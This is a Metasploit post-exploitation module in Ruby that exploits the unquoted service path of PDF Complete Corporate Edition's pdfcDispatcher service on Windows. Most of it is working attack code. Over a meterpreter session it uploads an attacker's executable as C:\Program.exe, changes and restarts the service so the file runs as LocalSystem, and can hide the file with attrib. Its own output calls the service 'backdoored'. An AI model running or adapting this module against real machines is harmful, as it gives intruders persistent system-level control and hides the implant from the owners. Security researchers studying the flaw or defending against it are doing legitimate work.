##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
##
##
# Exploit Title : PDF_complete_corporate_edition.rb - 'Unquoted Service Path Privilege Escalation'
# PDF Version : 4.1.12
# vuln Discover : Joey Lane
# Module Author : pedr0 Ubuntu [r00t-3xp10it]
# Tested on : Windows 7 Professional
# Software Link : http://www.pdfcomplete.com/cms/Downloads.aspx
# "This was tested on version 4.1.12, but other versions may be affected as well."
#
#
# Description:
# PDF Complete Corporate Edition installs a service with an unquoted service path.
# This enables a local privilege escalation vulnerability. To exploit this vulnerability,
# a local attacker can insert an executable file in the path of the service.
# Rebooting the system or restarting the service will run the malicious executable
# with elevated privileges.
#
# ---------------------------------------------------------------------------
# C:\>sc qc pdfcDispatcher
# [SC] QueryServiceConfig SUCCESS
#
# SERVICE_NAME: pdfcDispatcher
# TYPE : 10 WIN32_OWN_PROCESS
# START_TYPE : 2 AUTO_START
# ERROR_CONTROL : 1 NORMAL
# BINARY_PATH_NAME : C:\Program Files (x86)\PDF Complete\pdfsvc.exe
# LOAD_ORDER_GROUP :
# TAG : 0
# DISPLAY_NAME : PDF Document Manager
# DEPENDENCIES :
# SERVICE_START_NAME : LocalSystem
# ---------------------------------------------------------------------------
#
# EXAMPLE:
# Using the BINARY_PATH_NAME listed above as an example, an executable named
# "Program.exe" could be placed in "C:\", and it would be executed as the
# Local System user next time the service was restarted.
#
#
# MODULE OPTIONS:
# HINT: to unset all values use: msf post(PDF_complete_corporate_edition.rb) > unset all
# Input The session number to run this module on => set SESSION 3
# Input full path of Program.exe to be uploaded => set UPLOAD_PATH /root/shell/output/Program.exe
# Check pdfcDispatcher service auto-start status? => set SERVICE_STATUS true
# use attrib to hidde your program.exe in target? => set HIDDEN_ATTRIB true
#
#
# PORT MODULE TO METASPLOIT DATABASE:
# Kali linux COPY TO: /usr/share/metasploit-framework/modules/post/windows/escalate/PDF_complete_corporate_edition.rb
# Ubuntu linux COPY TO: /opt/metasploit/apps/pro/msf3/modules/post/windows/escalate/PDF_complete_corporate_edition.rb
# Manually Path Search: root@kali:~# locate modules/post/windows/escalate
#
#
# LOAD/USE AUXILIARY:
# meterpreter > background
# msf exploit(handler) > reload_all
# msf exploit(handler) > use post/windows/escalate/PDF_complete_corporate_edition
# msf post(PDF_complete_corporate_edition) > info
# msf post(PDF_complete_corporate_edition) > show options
# msf post(PDF_complete_corporate_edition) > show advanced options
# msf post(PDF_complete_corporate_edition) > set [option(s)]
# msf post(PDF_complete_corporate_edition) > exploit
##
# ----------------------------
# Module Dependencies/requires
# ----------------------------
require
'rex'
require
'msf/core'
require
'msf/core/post/common'
require
'msf/core/post/windows/priv'
# ----------------------------------
# Metasploit Class name and includes
# ----------------------------------
class
MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::Windows::Priv
# -----------------------------------------
# Building Metasploit/Armitage info GUI/CLI
# -----------------------------------------
def
initialize(info={})
super
(update_info(info,
'Name'
=>
'PDF complete - Unquoted Service Path Privilege Escalation'
,
'Description'
=> %q{
This post-exploitation
module
requires a meterpreter session to be able to upload/inject our Program.exe into pdfcDispatcher service.
PDF
Complete Corporate Edition installs a service with an unquoted service path. This enables a local privilege escalation vulnerability. To exploit this vulnerability, a local attacker can insert an executable file
in
the path of the service. Rebooting the system
or
restarting the service will run the malicious executable with elevated privileges.
"Warning: payload to be uploaded should be named as: Program.exe"
},
'License'
=>
UNKNOWN_LICENSE
,
'Author'
=>
[
'Vuln discover: Joey Lane'
,
# vulnerability discover
'Module Author: pedr0 Ubuntu [r00t-3xp10it]'
,
# post-module author
'Special thanks: milton_barra|Chaitanya Haritash'
,
# testing/debug module
],
'Version'
=>
'$Revision: 1.1'
,
'DisclosureDate'
=>
'out 27 2016'
,
'Platform'
=>
'windows'
,
'Arch'
=>
'x86_x64'
,
'Privileged'
=>
'false'
,
'Targets'
=>
[
# Tested againts windows 7 (32 bits) | XP SP1 (32 bits)
[
'Windows XP'
,
'Windows VISTA'
,
'Windows 7'
,
'Windows 8'
,
'Windows 9'
,
'Windows 10'
]
],
'DefaultTarget'
=>
'3'
,
# default its to run againts windows 7 (32 bits)
'References'
=>
[
[
'URL'
,
'goo.gl/Etf934'
],
[
'URL'
,
'goo.gl/U54297'
],
],
'DefaultOptions'
=>
{
'SESSION'
=>
'1'
,
# Default its to run againts session 1
},
'SessionTypes'
=> [
'meterpreter'
]
))
register_options(
[
OptString.
new
(
'SESSION'
, [
true
,
'The session number to run this module on'
]),
OptString.
new
(
'UPLOAD_PATH'
, [
false
,
'The full path of Program.exe to be uploaded'
]),
OptBool.
new
(
'SERVICE_STATUS'
, [
false
,
'Check remote pdfcDispatcher service settings?'
,
false
]),
OptBool.
new
(
'HIDDEN_ATTRIB'
, [
false
,
'Use Attrib command to Hide Program.exe?'
,
false
])
],
self
.
class
)
end
# ----------------------------------------------
# Check for proper target Platform (win32|win64)
# ----------------------------------------------
def
unsupported
session = client
sys = session.sys.config.sysinfo
print_warning(
"[ABORT]: Operative System => #{sys['OS']}"
)
print_error(
"Only windows systems are supported by this module..."
)
print_error(
"Please execute [info] for further information..."
)
print_line(
""
)
raise
Rex::Script::Completed
end
# ----------------------------------------------------------
# UPLOAD OUR EXECUTABLE INTO pdfcDispatcher BINARY_PATH_NAME
# ----------------------------------------------------------
def
ls_stage1
r=
''
session = client
upath = datastore[
'UPLOAD_PATH'
]
bin_path =
"C:\\Program Files (x86)\\PDF Complete\\pdfsvc.exe"
# check for proper config settings enter
# to prevent 'unset all' from deleting default options...
if
datastore[
'UPLOAD_PATH'
] ==
'nil'
print_error(
"Options not configurated correctly..."
)
print_warning(
"Please set UPLOAD_PATH option..."
)
return
nil
else
# elevate privs befor running module
print_status(
"Persisting your payload in target system."
)
client.sys.config.getprivs.
each
do
|priv|
end
end
# check if vulnerable service (executable) exists
if
client.fs.file.exist?(
"#{bin_path}"
)
print_warning(
"pdfcDispatcher service:found..."
)
sleep(
1
.
0
)
print_good(
"Stoping pdfcDispatcher service..."
)
# stop service to enable proper configuration
r = session.sys.process.execute(
"cmd.exe /c sc stop pdfcDispatcher"
,
nil
, {
'Hidden'
=>
true
,
'Channelized'
=>
true
})
sleep(
2
.
0
)
print_good(
"Setting service to auto-start with windows..."
)
# set service to auto-start with windows
r = session.sys.process.execute(
"cmd.exe /c sc config pdfcDispatcher start= auto"
,
nil
, {
'Hidden'
=>
true
,
'Channelized'
=>
true
})
sleep(
2
.
0
)
# upload our executable into temp foldder
print_good(
"Uploading payload to target system..."
)
client.fs.file.upload(
"%temp%\\Program.exe"
,
"#{upath}"
)
sleep(
2
.
0
)
# move payload to C:\Program.exe
print_good(
"move payload to C: directory..."
)
r = session.sys.process.execute(
"cmd.exe /c move /y %temp%\\Program.exe C:\\Program.exe"
,
nil
, {
'Hidden'
=>
true
,
'Channelized'
=>
true
})
sleep(
2
.
0
)
# start service ...
print_good(
"Restarting pdfcDispatcher service..."
)
r = session.sys.process.execute(
"cmd.exe /c sc start pdfcDispatcher"
,
nil
, {
'Hidden'
=>
true
,
'Channelized'
=>
true
})
sleep(
2
.
0
)
# task completed successefully...
print_warning(
"pdfcDispatcher service [binary_path_name] backdoored successefuly..."
)
print_status(
"Setup one handler and Wait everytime that system restarts OR"
)
print_status(
"Setup one handler and restart pdfcDispatcher service: sc start pdfcDispatcher"
)
print_line(
""
)
else
print_error(
"#{bin_path} => NOT FOUND..."
)
print_warning(
"post-module has aborted all tasks in hands :( ..."
)
print_line(
""
)
end
# close channel when done
r.channel.close
r.close
# error exception funtion
rescue
::
Exception
=> e
print_error(
"Error: #{e.class} #{e}"
)
end
# -------------------------------------------------
# USE ATTRIB COMMAND TO HIDDE PROGRAM.EXE (PAYLOAD)
# -------------------------------------------------
def
ls_stage2
r=
''
session = client
hidden =
"C:\\Program.exe"
# check for proper config settings enter
# to prevent 'unset all' from deleting default options...
if
datastore[
'HIDDEN_ATTRIB'
] ==
'nil'
print_error(
"Options not configurated correctly..."
)
print_warning(
"Please set HIDDEN_ATTRIB option..."
)
return
nil
else
# elevate privs befor running module
print_status(
"Using Attrib command to hide Program.exe..."
)
client.sys.config.getprivs.
each
do
|priv|
end
end
# check if Program.exe exist on target
if
client.fs.file.exist?(
"#{hidden}"
)
print_status(
"Backdoor Program.exe file:found..."
)
# stop service to enable proper configuration
r = session.sys.process.execute(
"cmd.exe /c attrib +h +s C:\\Program.exe"
,
nil
, {
'Hidden'
=>
true
,
'Channelized'
=>
true
})
print_good(
" Execute => attrib +h +s C:\\Program.exe"
)
sleep(
2
.
0
)
# diplay output to user
print_status(
"Our Program.exe its hidden from normal people..."
)
print_status(
"But dont feed the black hacker within :( ..."
)
print_warning(
"To revert attributes: attrib -h -s C:\\Program.exe"
)
print_line(
""
)
# close channel when done
r.channel.close
r.close
else
print_error(
"#{hidden} => NOT FOUND..."
)
print_warning(
"post-module has aborted all tasks in hands :( ..."
)
print_line(
""
)
end
# error exception funtion
rescue
::
Exception
=> e
print_error(
"Error: #{e.class} #{e}"
)
end
# -------------------------------------------
# CHECK/DISPLAY pdfcDispatcher SERVICE STATUS
# -------------------------------------------
def
ls_stage3
r=
''
serv=
"pdfcDispatcher"
session = client
sysnfo = session.sys.config.sysinfo
# check for proper config settings enter
# to prevent 'unset all' from deleting default options...
if
datastore[
'SERVICE_STATUS'
] ==
'nil'
print_error(
"Options not configurated correctly..."
)
print_warning(
"Please set SERVICE_STATUS option..."
)
return
nil
else
print_status(
"Checking pdfcDispatcher service settings..."
)
client.sys.config.getprivs.
each
do
|priv|
end
end
print_warning(
"Reading service hive registry keys..."
)
# search in target regedit for WSearch auto-start service status
# Value:Start - dword: 2 - auto | 3 - manual | 4 - disabled
if
registry_getvaldata(
"HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher"
,
"Start"
) ==
'2'
startup =
"auto_start"
end
if
registry_getvaldata(
"HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher"
,
"Start"
) ==
'3'
startup =
"manual_start"
end
if
registry_getvaldata(
"HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher"
,
"Start"
) ==
'4'
startup =
"disabled_start"
else
startup =
"unknow"
print_error(
"post-module cant define service auto_start status..."
)
print_warning(
"enter into a shell session and execute: sc qc pdfcDispatcher status"
)
end
sleep(
1
.
0
)
# display pdfcDispatcher service current settings.
print_line(
""
)
print_line(
" :host => #{sysnfo['Computer']}"
)
print_line(
" :service => #{serv}"
)
print_line(
" :status => running"
)
print_line(
" :startup => #{startup}"
)
print_line(
""
)
# error exception funtion
rescue
::
Exception
=> e
print_error(
"Error: #{e.class} #{e}"
)
end
# ------------------------------------------------
# MAIN DISPLAY WINDOWS (ALL MODULES - def run)
# Running sellected modules against session target
# ------------------------------------------------
def
run
session = client
# Check for proper target Platform
unsupported
if
client.platform !~ /win32|win64/i
# Variable declarations (msf API calls)
sysnfo = session.sys.config.sysinfo
runtor = client.sys.config.getuid
runsession = client.session_host
directory = client.fs.dir.pwd
# Print banner and scan results on screen pdfcDispatcher
print_line(
" +----------------------------------------------+"
)
print_line(
" | PRIVILEGE ESCALATION IN PDFDISPACHER SERVICE |"
)
print_line(
" | Author: Pedro Ubuntu [ r00t-3xp10it ] |"
)
print_line(
" +----------------------------------------------+"
)
print_line(
""
)
print_line(
" Running on session : #{datastore['SESSION']}"
)
print_line(
" Computer : #{sysnfo['Computer']}"
)
print_line(
" Operative System : #{sysnfo['OS']}"
)
print_line(
" Target IP addr : #{runsession}"
)
print_line(
" Payload directory : #{directory}"
)
print_line(
" Client UID : #{runtor}"
)
print_line(
""
)
print_line(
""
)
# ------------------------------------
# Selected settings to run
# ------------------------------------
if
datastore[
'UPLOAD_PATH'
]
ls_stage1
end
if
datastore[
'HIDDEN_ATTRIB'
]
ls_stage2
end
if
datastore[
'SERVICE_STATUS'
]
ls_stage3
end
end
end